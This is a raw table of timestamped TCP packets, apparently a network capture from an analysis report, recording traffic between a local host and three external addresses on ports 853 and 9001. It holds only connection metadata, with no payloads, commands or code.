Dec 17, 2024 11:49:34.790498972 CET	49723	853	192.168.2.5	89.58.54.129
Dec 17, 2024 11:49:34.791564941 CET	853	49723	89.58.54.129	192.168.2.5
Dec 17, 2024 11:49:34.791579008 CET	853	49723	89.58.54.129	192.168.2.5
Dec 17, 2024 11:49:34.791613102 CET	49723	853	192.168.2.5	89.58.54.129
Dec 17, 2024 11:49:34.792824984 CET	853	49723	89.58.54.129	192.168.2.5
Dec 17, 2024 11:49:34.792881966 CET	853	49723	89.58.54.129	192.168.2.5
Dec 17, 2024 11:49:34.792933941 CET	49723	853	192.168.2.5	89.58.54.129
Dec 17, 2024 11:49:34.794015884 CET	853	49723	89.58.54.129	192.168.2.5
Dec 17, 2024 11:49:34.794075012 CET	853	49723	89.58.54.129	192.168.2.5
Dec 17, 2024 11:49:34.794131041 CET	49723	853	192.168.2.5	89.58.54.129
Dec 17, 2024 11:49:34.795491934 CET	853	49723	89.58.54.129	192.168.2.5
Dec 17, 2024 11:49:34.795506001 CET	853	49723	89.58.54.129	192.168.2.5
Dec 17, 2024 11:49:34.796405077 CET	49723	853	192.168.2.5	89.58.54.129
Dec 17, 2024 11:49:34.796683073 CET	853	49723	89.58.54.129	192.168.2.5
Dec 17, 2024 11:49:34.796952009 CET	853	49723	89.58.54.129	192.168.2.5
Dec 17, 2024 11:49:34.797923088 CET	853	49723	89.58.54.129	192.168.2.5
Dec 17, 2024 11:49:34.797939062 CET	853	49723	89.58.54.129	192.168.2.5
Dec 17, 2024 11:49:34.797940016 CET	49723	853	192.168.2.5	89.58.54.129
Dec 17, 2024 11:49:34.797976017 CET	49723	853	192.168.2.5	89.58.54.129
Dec 17, 2024 11:49:34.798943043 CET	853	49723	89.58.54.129	192.168.2.5
Dec 17, 2024 11:49:34.799348116 CET	853	49723	89.58.54.129	192.168.2.5
Dec 17, 2024 11:49:34.799695969 CET	49723	853	192.168.2.5	89.58.54.129
Dec 17, 2024 11:49:34.800091028 CET	853	49723	89.58.54.129	192.168.2.5
Dec 17, 2024 11:49:34.800189972 CET	853	49723	89.58.54.129	192.168.2.5
Dec 17, 2024 11:49:34.801446915 CET	853	49723	89.58.54.129	192.168.2.5
Dec 17, 2024 11:49:34.801482916 CET	49723	853	192.168.2.5	89.58.54.129
Dec 17, 2024 11:49:34.802589893 CET	853	49723	89.58.54.129	192.168.2.5
Dec 17, 2024 11:49:34.802603006 CET	853	49723	89.58.54.129	192.168.2.5
Dec 17, 2024 11:49:34.802615881 CET	853	49723	89.58.54.129	192.168.2.5
Dec 17, 2024 11:49:34.802644014 CET	49723	853	192.168.2.5	89.58.54.129
Dec 17, 2024 11:49:34.803332090 CET	49723	853	192.168.2.5	89.58.54.129
Dec 17, 2024 11:49:34.887048006 CET	853	49723	89.58.54.129	192.168.2.5
Dec 17, 2024 11:49:34.887116909 CET	853	49723	89.58.54.129	192.168.2.5
Dec 17, 2024 11:49:34.887156010 CET	49723	853	192.168.2.5	89.58.54.129
Dec 17, 2024 11:49:34.887622118 CET	853	49723	89.58.54.129	192.168.2.5
Dec 17, 2024 11:49:34.887854099 CET	853	49723	89.58.54.129	192.168.2.5
Dec 17, 2024 11:49:34.887890100 CET	49723	853	192.168.2.5	89.58.54.129
Dec 17, 2024 11:49:34.888101101 CET	853	49723	89.58.54.129	192.168.2.5
Dec 17, 2024 11:49:34.889112949 CET	853	49723	89.58.54.129	192.168.2.5
Dec 17, 2024 11:49:34.889133930 CET	853	49723	89.58.54.129	192.168.2.5
Dec 17, 2024 11:49:34.889173031 CET	49723	853	192.168.2.5	89.58.54.129
Dec 17, 2024 11:49:34.890402079 CET	853	49723	89.58.54.129	192.168.2.5
Dec 17, 2024 11:49:34.890521049 CET	853	49723	89.58.54.129	192.168.2.5
Dec 17, 2024 11:49:34.890603065 CET	49723	853	192.168.2.5	89.58.54.129
Dec 17, 2024 11:49:34.891606092 CET	853	49723	89.58.54.129	192.168.2.5
Dec 17, 2024 11:49:34.891756058 CET	853	49723	89.58.54.129	192.168.2.5
Dec 17, 2024 11:49:34.891799927 CET	49723	853	192.168.2.5	89.58.54.129
Dec 17, 2024 11:49:34.893268108 CET	853	49723	89.58.54.129	192.168.2.5
Dec 17, 2024 11:49:34.893282890 CET	853	49723	89.58.54.129	192.168.2.5
Dec 17, 2024 11:49:34.893405914 CET	49723	853	192.168.2.5	89.58.54.129
Dec 17, 2024 11:49:34.894409895 CET	853	49723	89.58.54.129	192.168.2.5
Dec 17, 2024 11:49:34.894423008 CET	853	49723	89.58.54.129	192.168.2.5
Dec 17, 2024 11:49:34.894469976 CET	49723	853	192.168.2.5	89.58.54.129
Dec 17, 2024 11:49:34.895565033 CET	853	49723	89.58.54.129	192.168.2.5
Dec 17, 2024 11:49:34.895580053 CET	853	49723	89.58.54.129	192.168.2.5
Dec 17, 2024 11:49:34.895767927 CET	49723	853	192.168.2.5	89.58.54.129
Dec 17, 2024 11:49:34.896543980 CET	853	49723	89.58.54.129	192.168.2.5
Dec 17, 2024 11:49:34.896610022 CET	853	49723	89.58.54.129	192.168.2.5
Dec 17, 2024 11:49:34.896660089 CET	49723	853	192.168.2.5	89.58.54.129
Dec 17, 2024 11:49:34.897895098 CET	853	49723	89.58.54.129	192.168.2.5
Dec 17, 2024 11:49:34.897910118 CET	853	49723	89.58.54.129	192.168.2.5
Dec 17, 2024 11:49:34.897958040 CET	49723	853	192.168.2.5	89.58.54.129
Dec 17, 2024 11:49:34.899059057 CET	853	49723	89.58.54.129	192.168.2.5
Dec 17, 2024 11:49:34.899105072 CET	853	49723	89.58.54.129	192.168.2.5
Dec 17, 2024 11:49:34.899152994 CET	49723	853	192.168.2.5	89.58.54.129
Dec 17, 2024 11:49:34.900335073 CET	853	49723	89.58.54.129	192.168.2.5
Dec 17, 2024 11:49:34.900351048 CET	853	49723	89.58.54.129	192.168.2.5
Dec 17, 2024 11:49:34.900403023 CET	49723	853	192.168.2.5	89.58.54.129
Dec 17, 2024 11:49:34.901864052 CET	853	49723	89.58.54.129	192.168.2.5
Dec 17, 2024 11:49:34.901879072 CET	853	49723	89.58.54.129	192.168.2.5
Dec 17, 2024 11:49:34.901900053 CET	49723	853	192.168.2.5	89.58.54.129
Dec 17, 2024 11:49:34.902851105 CET	853	49723	89.58.54.129	192.168.2.5
Dec 17, 2024 11:49:34.902911901 CET	853	49723	89.58.54.129	192.168.2.5
Dec 17, 2024 11:49:34.902952909 CET	49723	853	192.168.2.5	89.58.54.129
Dec 17, 2024 11:49:34.904036045 CET	853	49723	89.58.54.129	192.168.2.5
Dec 17, 2024 11:49:34.904051065 CET	853	49723	89.58.54.129	192.168.2.5
Dec 17, 2024 11:49:34.904335976 CET	49723	853	192.168.2.5	89.58.54.129
Dec 17, 2024 11:49:34.905437946 CET	853	49723	89.58.54.129	192.168.2.5
Dec 17, 2024 11:49:34.905467987 CET	853	49723	89.58.54.129	192.168.2.5
Dec 17, 2024 11:49:34.905483007 CET	49723	853	192.168.2.5	89.58.54.129
Dec 17, 2024 11:49:34.906481028 CET	853	49723	89.58.54.129	192.168.2.5
Dec 17, 2024 11:49:34.906553984 CET	853	49723	89.58.54.129	192.168.2.5
Dec 17, 2024 11:49:34.906594038 CET	49723	853	192.168.2.5	89.58.54.129
Dec 17, 2024 11:49:34.907582045 CET	853	49723	89.58.54.129	192.168.2.5
Dec 17, 2024 11:49:34.907722950 CET	853	49723	89.58.54.129	192.168.2.5
Dec 17, 2024 11:49:34.907778978 CET	49723	853	192.168.2.5	89.58.54.129
Dec 17, 2024 11:49:34.908833027 CET	853	49723	89.58.54.129	192.168.2.5
Dec 17, 2024 11:49:34.908883095 CET	49723	853	192.168.2.5	89.58.54.129
Dec 17, 2024 11:49:34.908998013 CET	853	49723	89.58.54.129	192.168.2.5
Dec 17, 2024 11:49:34.910181046 CET	853	49723	89.58.54.129	192.168.2.5
Dec 17, 2024 11:49:34.910257101 CET	853	49723	89.58.54.129	192.168.2.5
Dec 17, 2024 11:49:34.910310030 CET	49723	853	192.168.2.5	89.58.54.129
Dec 17, 2024 11:49:34.911452055 CET	853	49723	89.58.54.129	192.168.2.5
Dec 17, 2024 11:49:34.911465883 CET	853	49723	89.58.54.129	192.168.2.5
Dec 17, 2024 11:49:34.911544085 CET	49723	853	192.168.2.5	89.58.54.129
Dec 17, 2024 11:49:34.912539005 CET	853	49723	89.58.54.129	192.168.2.5
Dec 17, 2024 11:49:34.912653923 CET	853	49723	89.58.54.129	192.168.2.5
Dec 17, 2024 11:49:34.912717104 CET	49723	853	192.168.2.5	89.58.54.129
Dec 17, 2024 11:49:34.913918972 CET	853	49723	89.58.54.129	192.168.2.5
Dec 17, 2024 11:49:34.913934946 CET	853	49723	89.58.54.129	192.168.2.5
Dec 17, 2024 11:49:34.914005041 CET	49723	853	192.168.2.5	89.58.54.129
Dec 17, 2024 11:49:34.915092945 CET	853	49723	89.58.54.129	192.168.2.5
Dec 17, 2024 11:49:34.915138006 CET	853	49723	89.58.54.129	192.168.2.5
Dec 17, 2024 11:49:34.915301085 CET	49723	853	192.168.2.5	89.58.54.129
Dec 17, 2024 11:49:34.916336060 CET	853	49723	89.58.54.129	192.168.2.5
Dec 17, 2024 11:49:34.916388988 CET	853	49723	89.58.54.129	192.168.2.5
Dec 17, 2024 11:49:34.916435003 CET	49723	853	192.168.2.5	89.58.54.129
Dec 17, 2024 11:49:34.917556047 CET	853	49723	89.58.54.129	192.168.2.5
Dec 17, 2024 11:49:34.917599916 CET	49723	853	192.168.2.5	89.58.54.129
Dec 17, 2024 11:49:34.917637110 CET	853	49723	89.58.54.129	192.168.2.5
Dec 17, 2024 11:49:34.918813944 CET	853	49723	89.58.54.129	192.168.2.5
Dec 17, 2024 11:49:34.918855906 CET	49723	853	192.168.2.5	89.58.54.129
Dec 17, 2024 11:49:34.918915033 CET	853	49723	89.58.54.129	192.168.2.5
Dec 17, 2024 11:49:34.919984102 CET	853	49723	89.58.54.129	192.168.2.5
Dec 17, 2024 11:49:34.919997931 CET	853	49723	89.58.54.129	192.168.2.5
Dec 17, 2024 11:49:34.920069933 CET	49723	853	192.168.2.5	89.58.54.129
Dec 17, 2024 11:49:34.921221018 CET	853	49723	89.58.54.129	192.168.2.5
Dec 17, 2024 11:49:34.921277046 CET	853	49723	89.58.54.129	192.168.2.5
Dec 17, 2024 11:49:34.921322107 CET	49723	853	192.168.2.5	89.58.54.129
Dec 17, 2024 11:49:34.923284054 CET	853	49723	89.58.54.129	192.168.2.5
Dec 17, 2024 11:49:34.923317909 CET	853	49723	89.58.54.129	192.168.2.5
Dec 17, 2024 11:49:34.923331022 CET	49723	853	192.168.2.5	89.58.54.129
Dec 17, 2024 11:49:34.924151897 CET	853	49723	89.58.54.129	192.168.2.5
Dec 17, 2024 11:49:34.924345016 CET	853	49723	89.58.54.129	192.168.2.5
Dec 17, 2024 11:49:34.924380064 CET	49723	853	192.168.2.5	89.58.54.129
Dec 17, 2024 11:49:34.925338030 CET	853	49723	89.58.54.129	192.168.2.5
Dec 17, 2024 11:49:34.925350904 CET	853	49723	89.58.54.129	192.168.2.5
Dec 17, 2024 11:49:34.925394058 CET	49723	853	192.168.2.5	89.58.54.129
Dec 17, 2024 11:49:34.926382065 CET	853	49723	89.58.54.129	192.168.2.5
Dec 17, 2024 11:49:34.926397085 CET	853	49723	89.58.54.129	192.168.2.5
Dec 17, 2024 11:49:34.926767111 CET	49723	853	192.168.2.5	89.58.54.129
Dec 17, 2024 11:49:34.927366018 CET	853	49723	89.58.54.129	192.168.2.5
Dec 17, 2024 11:49:34.927380085 CET	853	49723	89.58.54.129	192.168.2.5
Dec 17, 2024 11:49:34.927553892 CET	49723	853	192.168.2.5	89.58.54.129
Dec 17, 2024 11:49:34.928745985 CET	853	49723	89.58.54.129	192.168.2.5
Dec 17, 2024 11:49:34.928822041 CET	853	49723	89.58.54.129	192.168.2.5
Dec 17, 2024 11:49:34.928845882 CET	49723	853	192.168.2.5	89.58.54.129
Dec 17, 2024 11:49:34.929877043 CET	853	49723	89.58.54.129	192.168.2.5
Dec 17, 2024 11:49:34.931670904 CET	49723	853	192.168.2.5	89.58.54.129
Dec 17, 2024 11:49:34.983743906 CET	853	49723	89.58.54.129	192.168.2.5
Dec 17, 2024 11:49:34.983829021 CET	853	49723	89.58.54.129	192.168.2.5
Dec 17, 2024 11:49:34.984236956 CET	49723	853	192.168.2.5	89.58.54.129
Dec 17, 2024 11:49:34.984335899 CET	853	49723	89.58.54.129	192.168.2.5
Dec 17, 2024 11:49:34.984462023 CET	853	49723	89.58.54.129	192.168.2.5
Dec 17, 2024 11:49:34.984509945 CET	49723	853	192.168.2.5	89.58.54.129
Dec 17, 2024 11:49:34.985527992 CET	853	49723	89.58.54.129	192.168.2.5
Dec 17, 2024 11:49:34.985629082 CET	853	49723	89.58.54.129	192.168.2.5
Dec 17, 2024 11:49:34.986994028 CET	853	49723	89.58.54.129	192.168.2.5
Dec 17, 2024 11:49:34.987052917 CET	49723	853	192.168.2.5	89.58.54.129
Dec 17, 2024 11:49:34.987106085 CET	853	49723	89.58.54.129	192.168.2.5
Dec 17, 2024 11:49:34.987735033 CET	49723	853	192.168.2.5	89.58.54.129
Dec 17, 2024 11:49:34.988086939 CET	853	49723	89.58.54.129	192.168.2.5
Dec 17, 2024 11:49:34.988143921 CET	853	49723	89.58.54.129	192.168.2.5
Dec 17, 2024 11:49:34.988182068 CET	49723	853	192.168.2.5	89.58.54.129
Dec 17, 2024 11:49:34.989675045 CET	853	49723	89.58.54.129	192.168.2.5
Dec 17, 2024 11:49:34.989813089 CET	853	49723	89.58.54.129	192.168.2.5
Dec 17, 2024 11:49:34.989866972 CET	49723	853	192.168.2.5	89.58.54.129
Dec 17, 2024 11:49:34.991180897 CET	853	49723	89.58.54.129	192.168.2.5
Dec 17, 2024 11:49:34.991260052 CET	853	49723	89.58.54.129	192.168.2.5
Dec 17, 2024 11:49:34.991332054 CET	49723	853	192.168.2.5	89.58.54.129
Dec 17, 2024 11:49:34.992142916 CET	853	49723	89.58.54.129	192.168.2.5
Dec 17, 2024 11:49:34.992255926 CET	853	49723	89.58.54.129	192.168.2.5
Dec 17, 2024 11:49:34.992292881 CET	49723	853	192.168.2.5	89.58.54.129
Dec 17, 2024 11:49:34.993058920 CET	853	49723	89.58.54.129	192.168.2.5
Dec 17, 2024 11:49:34.993129969 CET	853	49723	89.58.54.129	192.168.2.5
Dec 17, 2024 11:49:34.993194103 CET	49723	853	192.168.2.5	89.58.54.129
Dec 17, 2024 11:49:34.994275093 CET	853	49723	89.58.54.129	192.168.2.5
Dec 17, 2024 11:49:34.994395971 CET	853	49723	89.58.54.129	192.168.2.5
Dec 17, 2024 11:49:34.994440079 CET	49723	853	192.168.2.5	89.58.54.129
Dec 17, 2024 11:49:34.995378017 CET	853	49723	89.58.54.129	192.168.2.5
Dec 17, 2024 11:49:34.995522022 CET	853	49723	89.58.54.129	192.168.2.5
Dec 17, 2024 11:49:34.995565891 CET	49723	853	192.168.2.5	89.58.54.129
Dec 17, 2024 11:49:34.996613026 CET	853	49723	89.58.54.129	192.168.2.5
Dec 17, 2024 11:49:34.996727943 CET	853	49723	89.58.54.129	192.168.2.5
Dec 17, 2024 11:49:34.996788979 CET	49723	853	192.168.2.5	89.58.54.129
Dec 17, 2024 11:49:34.997925997 CET	853	49723	89.58.54.129	192.168.2.5
Dec 17, 2024 11:49:34.997976065 CET	853	49723	89.58.54.129	192.168.2.5
Dec 17, 2024 11:49:34.999113083 CET	853	49723	89.58.54.129	192.168.2.5
Dec 17, 2024 11:49:34.999130964 CET	853	49723	89.58.54.129	192.168.2.5
Dec 17, 2024 11:49:34.999181986 CET	49723	853	192.168.2.5	89.58.54.129
Dec 17, 2024 11:49:34.999181986 CET	49723	853	192.168.2.5	89.58.54.129
Dec 17, 2024 11:49:35.000343084 CET	853	49723	89.58.54.129	192.168.2.5
Dec 17, 2024 11:49:35.000403881 CET	853	49723	89.58.54.129	192.168.2.5
Dec 17, 2024 11:49:35.000521898 CET	49723	853	192.168.2.5	89.58.54.129
Dec 17, 2024 11:49:35.001641989 CET	853	49723	89.58.54.129	192.168.2.5
Dec 17, 2024 11:49:35.001856089 CET	853	49723	89.58.54.129	192.168.2.5
Dec 17, 2024 11:49:35.001893997 CET	49723	853	192.168.2.5	89.58.54.129
Dec 17, 2024 11:49:35.002796888 CET	853	49723	89.58.54.129	192.168.2.5
Dec 17, 2024 11:49:35.002975941 CET	853	49723	89.58.54.129	192.168.2.5
Dec 17, 2024 11:49:35.003698111 CET	49723	853	192.168.2.5	89.58.54.129
Dec 17, 2024 11:49:35.004143953 CET	853	49723	89.58.54.129	192.168.2.5
Dec 17, 2024 11:49:35.004261017 CET	853	49723	89.58.54.129	192.168.2.5
Dec 17, 2024 11:49:35.004359961 CET	49723	853	192.168.2.5	89.58.54.129
Dec 17, 2024 11:49:35.005327940 CET	853	49723	89.58.54.129	192.168.2.5
Dec 17, 2024 11:49:35.005377054 CET	853	49723	89.58.54.129	192.168.2.5
Dec 17, 2024 11:49:35.005429983 CET	49723	853	192.168.2.5	89.58.54.129
Dec 17, 2024 11:49:35.006547928 CET	853	49723	89.58.54.129	192.168.2.5
Dec 17, 2024 11:49:35.006654978 CET	853	49723	89.58.54.129	192.168.2.5
Dec 17, 2024 11:49:35.006705046 CET	49723	853	192.168.2.5	89.58.54.129
Dec 17, 2024 11:49:35.007802963 CET	853	49723	89.58.54.129	192.168.2.5
Dec 17, 2024 11:49:35.007863998 CET	853	49723	89.58.54.129	192.168.2.5
Dec 17, 2024 11:49:35.008049965 CET	49723	853	192.168.2.5	89.58.54.129
Dec 17, 2024 11:49:35.079296112 CET	853	49723	89.58.54.129	192.168.2.5
Dec 17, 2024 11:49:35.079495907 CET	853	49723	89.58.54.129	192.168.2.5
Dec 17, 2024 11:49:35.079586983 CET	49723	853	192.168.2.5	89.58.54.129
Dec 17, 2024 11:49:35.079813957 CET	853	49723	89.58.54.129	192.168.2.5
Dec 17, 2024 11:49:35.080079079 CET	853	49723	89.58.54.129	192.168.2.5
Dec 17, 2024 11:49:35.080123901 CET	49723	853	192.168.2.5	89.58.54.129
Dec 17, 2024 11:49:35.080580950 CET	853	49723	89.58.54.129	192.168.2.5
Dec 17, 2024 11:49:35.081319094 CET	853	49723	89.58.54.129	192.168.2.5
Dec 17, 2024 11:49:35.081403971 CET	853	49723	89.58.54.129	192.168.2.5
Dec 17, 2024 11:49:35.081444979 CET	49723	853	192.168.2.5	89.58.54.129
Dec 17, 2024 11:49:35.082509995 CET	853	49723	89.58.54.129	192.168.2.5
Dec 17, 2024 11:49:35.082566023 CET	853	49723	89.58.54.129	192.168.2.5
Dec 17, 2024 11:49:35.082681894 CET	49723	853	192.168.2.5	89.58.54.129
Dec 17, 2024 11:49:35.083794117 CET	853	49723	89.58.54.129	192.168.2.5
Dec 17, 2024 11:49:35.083843946 CET	49723	853	192.168.2.5	89.58.54.129
Dec 17, 2024 11:49:35.083916903 CET	853	49723	89.58.54.129	192.168.2.5
Dec 17, 2024 11:49:35.085002899 CET	853	49723	89.58.54.129	192.168.2.5
Dec 17, 2024 11:49:35.085052967 CET	49723	853	192.168.2.5	89.58.54.129
Dec 17, 2024 11:49:35.085079908 CET	853	49723	89.58.54.129	192.168.2.5
Dec 17, 2024 11:49:35.086246014 CET	853	49723	89.58.54.129	192.168.2.5
Dec 17, 2024 11:49:35.086314917 CET	49723	853	192.168.2.5	89.58.54.129
Dec 17, 2024 11:49:35.086353064 CET	853	49723	89.58.54.129	192.168.2.5
Dec 17, 2024 11:49:35.087421894 CET	853	49723	89.58.54.129	192.168.2.5
Dec 17, 2024 11:49:35.087459087 CET	49723	853	192.168.2.5	89.58.54.129
Dec 17, 2024 11:49:35.087583065 CET	853	49723	89.58.54.129	192.168.2.5
Dec 17, 2024 11:49:35.088701963 CET	853	49723	89.58.54.129	192.168.2.5
Dec 17, 2024 11:49:35.088751078 CET	853	49723	89.58.54.129	192.168.2.5
Dec 17, 2024 11:49:35.088877916 CET	49723	853	192.168.2.5	89.58.54.129
Dec 17, 2024 11:49:35.090461016 CET	853	49723	89.58.54.129	192.168.2.5
Dec 17, 2024 11:49:35.090547085 CET	853	49723	89.58.54.129	192.168.2.5
Dec 17, 2024 11:49:35.090610981 CET	49723	853	192.168.2.5	89.58.54.129
Dec 17, 2024 11:49:35.091423988 CET	853	49723	89.58.54.129	192.168.2.5
Dec 17, 2024 11:49:35.091469049 CET	853	49723	89.58.54.129	192.168.2.5
Dec 17, 2024 11:49:35.091490030 CET	49723	853	192.168.2.5	89.58.54.129
Dec 17, 2024 11:49:35.092544079 CET	853	49723	89.58.54.129	192.168.2.5
Dec 17, 2024 11:49:35.092662096 CET	853	49723	89.58.54.129	192.168.2.5
Dec 17, 2024 11:49:35.092681885 CET	49723	853	192.168.2.5	89.58.54.129
Dec 17, 2024 11:49:35.093662977 CET	853	49723	89.58.54.129	192.168.2.5
Dec 17, 2024 11:49:35.093708992 CET	49723	853	192.168.2.5	89.58.54.129
Dec 17, 2024 11:49:35.093713999 CET	853	49723	89.58.54.129	192.168.2.5
Dec 17, 2024 11:49:35.094857931 CET	853	49723	89.58.54.129	192.168.2.5
Dec 17, 2024 11:49:35.094959021 CET	49723	853	192.168.2.5	89.58.54.129
Dec 17, 2024 11:49:35.094959974 CET	853	49723	89.58.54.129	192.168.2.5
Dec 17, 2024 11:49:35.096256018 CET	853	49723	89.58.54.129	192.168.2.5
Dec 17, 2024 11:49:35.096297979 CET	49723	853	192.168.2.5	89.58.54.129
Dec 17, 2024 11:49:35.096302032 CET	853	49723	89.58.54.129	192.168.2.5
Dec 17, 2024 11:49:35.097348928 CET	853	49723	89.58.54.129	192.168.2.5
Dec 17, 2024 11:49:35.097393990 CET	49723	853	192.168.2.5	89.58.54.129
Dec 17, 2024 11:49:35.097474098 CET	853	49723	89.58.54.129	192.168.2.5
Dec 17, 2024 11:49:35.098599911 CET	853	49723	89.58.54.129	192.168.2.5
Dec 17, 2024 11:49:35.098640919 CET	853	49723	89.58.54.129	192.168.2.5
Dec 17, 2024 11:49:35.098659992 CET	49723	853	192.168.2.5	89.58.54.129
Dec 17, 2024 11:49:35.099798918 CET	853	49723	89.58.54.129	192.168.2.5
Dec 17, 2024 11:49:35.099961042 CET	853	49723	89.58.54.129	192.168.2.5
Dec 17, 2024 11:49:35.100167036 CET	49723	853	192.168.2.5	89.58.54.129
Dec 17, 2024 11:49:35.101011038 CET	853	49723	89.58.54.129	192.168.2.5
Dec 17, 2024 11:49:35.101125956 CET	853	49723	89.58.54.129	192.168.2.5
Dec 17, 2024 11:49:35.101160049 CET	49723	853	192.168.2.5	89.58.54.129
Dec 17, 2024 11:49:35.102260113 CET	853	49723	89.58.54.129	192.168.2.5
Dec 17, 2024 11:49:35.102298975 CET	49723	853	192.168.2.5	89.58.54.129
Dec 17, 2024 11:49:35.337064981 CET	49722	9001	192.168.2.5	18.18.82.18
Dec 17, 2024 11:49:35.337624073 CET	49721	9001	192.168.2.5	23.233.0.213
Dec 17, 2024 11:49:35.337687016 CET	49721	9001	192.168.2.5	23.233.0.213
Dec 17, 2024 11:49:35.337960005 CET	49721	9001	192.168.2.5	23.233.0.213
Dec 17, 2024 11:49:35.339202881 CET	49722	9001	192.168.2.5	18.18.82.18
Dec 17, 2024 11:49:35.339247942 CET	49722	9001	192.168.2.5	18.18.82.18
Dec 17, 2024 11:49:35.339503050 CET	49721	9001	192.168.2.5	23.233.0.213
Dec 17, 2024 11:49:35.459059954 CET	9001	49721	23.233.0.213	192.168.2.5
Dec 17, 2024 11:49:35.460310936 CET	9001	49722	18.18.82.18	192.168.2.5
Dec 17, 2024 11:49:35.460560083 CET	9001	49722	18.18.82.18	192.168.2.5
Dec 17, 2024 11:49:35.461015940 CET	9001	49722	18.18.82.18	192.168.2.5
Dec 17, 2024 11:49:35.462563038 CET	9001	49722	18.18.82.18	192.168.2.5
Dec 17, 2024 11:49:35.463201046 CET	9001	49722	18.18.82.18	192.168.2.5
Dec 17, 2024 11:49:35.463305950 CET	9001	49721	23.233.0.213	192.168.2.5
Dec 17, 2024 11:49:35.502679110 CET	9001	49722	18.18.82.18	192.168.2.5
Dec 17, 2024 11:49:35.542289019 CET	49721	9001	192.168.2.5	23.233.0.213
Dec 17, 2024 11:49:35.544457912 CET	49722	9001	192.168.2.5	18.18.82.18
Dec 17, 2024 11:49:35.545531034 CET	49722	9001	192.168.2.5	18.18.82.18
Dec 17, 2024 11:49:35.545656919 CET	49722	9001	192.168.2.5	18.18.82.18
Dec 17, 2024 11:49:35.545697927 CET	49721	9001	192.168.2.5	23.233.0.213
Dec 17, 2024 11:49:35.551546097 CET	49721	9001	192.168.2.5	23.233.0.213
Dec 17, 2024 11:49:35.553451061 CET	49721	9001	192.168.2.5	23.233.0.213
Dec 17, 2024 11:49:35.657943964 CET	9001	49722	18.18.82.18	192.168.2.5
Dec 17, 2024 11:49:35.663137913 CET	9001	49721	23.233.0.213	192.168.2.5
Dec 17, 2024 11:49:35.664916039 CET	9001	49722	18.18.82.18	192.168.2.5
Dec 17, 2024 11:49:35.666048050 CET	9001	49722	18.18.82.18	192.168.2.5
Dec 17, 2024 11:49:35.666080952 CET	9001	49722	18.18.82.18	192.168.2.5
Dec 17, 2024 11:49:35.666184902 CET	9001	49722	18.18.82.18	192.168.2.5
Dec 17, 2024 11:49:35.666196108 CET	9001	49722	18.18.82.18	192.168.2.5
Dec 17, 2024 11:49:35.666241884 CET	9001	49722	18.18.82.18	192.168.2.5
Dec 17, 2024 11:49:35.666635990 CET	9001	49722	18.18.82.18	192.168.2.5
Dec 17, 2024 11:49:35.666650057 CET	9001	49722	18.18.82.18	192.168.2.5
Dec 17, 2024 11:49:35.666745901 CET	9001	49722	18.18.82.18	192.168.2.5
Dec 17, 2024 11:49:35.667185068 CET	9001	49722	18.18.82.18	192.168.2.5
Dec 17, 2024 11:49:35.667283058 CET	9001	49722	18.18.82.18	192.168.2.5
Dec 17, 2024 11:49:35.667310953 CET	9001	49722	18.18.82.18	192.168.2.5
Dec 17, 2024 11:49:35.667871952 CET	9001	49722	18.18.82.18	192.168.2.5
Dec 17, 2024 11:49:35.667900085 CET	9001	49722	18.18.82.18	192.168.2.5
Dec 17, 2024 11:49:35.667963982 CET	9001	49722	18.18.82.18	192.168.2.5
Dec 17, 2024 11:49:35.668001890 CET	9001	49722	18.18.82.18	192.168.2.5
Dec 17, 2024 11:49:35.668464899 CET	9001	49722	18.18.82.18	192.168.2.5
Dec 17, 2024 11:49:35.668519020 CET	9001	49721	23.233.0.213	192.168.2.5
Dec 17, 2024 11:49:35.671468973 CET	9001	49721	23.233.0.213	192.168.2.5
Dec 17, 2024 11:49:35.673597097 CET	9001	49721	23.233.0.213	192.168.2.5
Dec 17, 2024 11:49:35.725929022 CET	49721	9001	192.168.2.5	23.233.0.213
Dec 17, 2024 11:49:35.726058006 CET	49723	853	192.168.2.5	89.58.54.129
Dec 17, 2024 11:49:35.726151943 CET	49723	853	192.168.2.5	89.58.54.129
Dec 17, 2024 11:49:35.727025986 CET	49723	853	192.168.2.5	89.58.54.129
Dec 17, 2024 11:49:35.728516102 CET	49723	853	192.168.2.5	89.58.54.129
Dec 17, 2024 11:49:35.733618021 CET	49723	853	192.168.2.5	89.58.54.129
Dec 17, 2024 11:49:35.734997034 CET	49723	853	192.168.2.5	89.58.54.129
Dec 17, 2024 11:49:35.748713017 CET	49722	9001	192.168.2.5	18.18.82.18
Dec 17, 2024 11:49:35.751497030 CET	49723	853	192.168.2.5	89.58.54.129
Dec 17, 2024 11:49:35.753650904 CET	9001	49722	18.18.82.18	192.168.2.5
Dec 17, 2024 11:49:35.753722906 CET	9001	49722	18.18.82.18	192.168.2.5
Dec 17, 2024 11:49:35.753765106 CET	49722	9001	192.168.2.5	18.18.82.18
Dec 17, 2024 11:49:35.754081011 CET	9001	49722	18.18.82.18	192.168.2.5
Dec 17, 2024 11:49:35.754333019 CET	9001	49722	18.18.82.18	192.168.2.5
Dec 17, 2024 11:49:35.754380941 CET	49722	9001	192.168.2.5	18.18.82.18
Dec 17, 2024 11:49:35.754609108 CET	49722	9001	192.168.2.5	18.18.82.18
Dec 17, 2024 11:49:35.755104065 CET	9001	49722	18.18.82.18	192.168.2.5
Dec 17, 2024 11:49:35.755518913 CET	9001	49722	18.18.82.18	192.168.2.5
Dec 17, 2024 11:49:35.755589008 CET	49722	9001	192.168.2.5	18.18.82.18
Dec 17, 2024 11:49:35.755603075 CET	9001	49722	18.18.82.18	192.168.2.5
Dec 17, 2024 11:49:35.755691051 CET	49722	9001	192.168.2.5	18.18.82.18
Dec 17, 2024 11:49:35.756566048 CET	9001	49722	18.18.82.18	192.168.2.5
Dec 17, 2024 11:49:35.756623030 CET	49722	9001	192.168.2.5	18.18.82.18
Dec 17, 2024 11:49:35.756666899 CET	9001	49722	18.18.82.18	192.168.2.5
Dec 17, 2024 11:49:35.756705999 CET	49722	9001	192.168.2.5	18.18.82.18
Dec 17, 2024 11:49:35.757637024 CET	9001	49722	18.18.82.18	192.168.2.5
Dec 17, 2024 11:49:35.757698059 CET	49722	9001	192.168.2.5	18.18.82.18
Dec 17, 2024 11:49:35.757740021 CET	9001	49722	18.18.82.18	192.168.2.5
Dec 17, 2024 11:49:35.758094072 CET	49722	9001	192.168.2.5	18.18.82.18
Dec 17, 2024 11:49:35.758676052 CET	9001	49722	18.18.82.18	192.168.2.5
Dec 17, 2024 11:49:35.758730888 CET	49722	9001	192.168.2.5	18.18.82.18
Dec 17, 2024 11:49:35.760127068 CET	9001	49722	18.18.82.18	192.168.2.5
Dec 17, 2024 11:49:35.760188103 CET	49722	9001	192.168.2.5	18.18.82.18
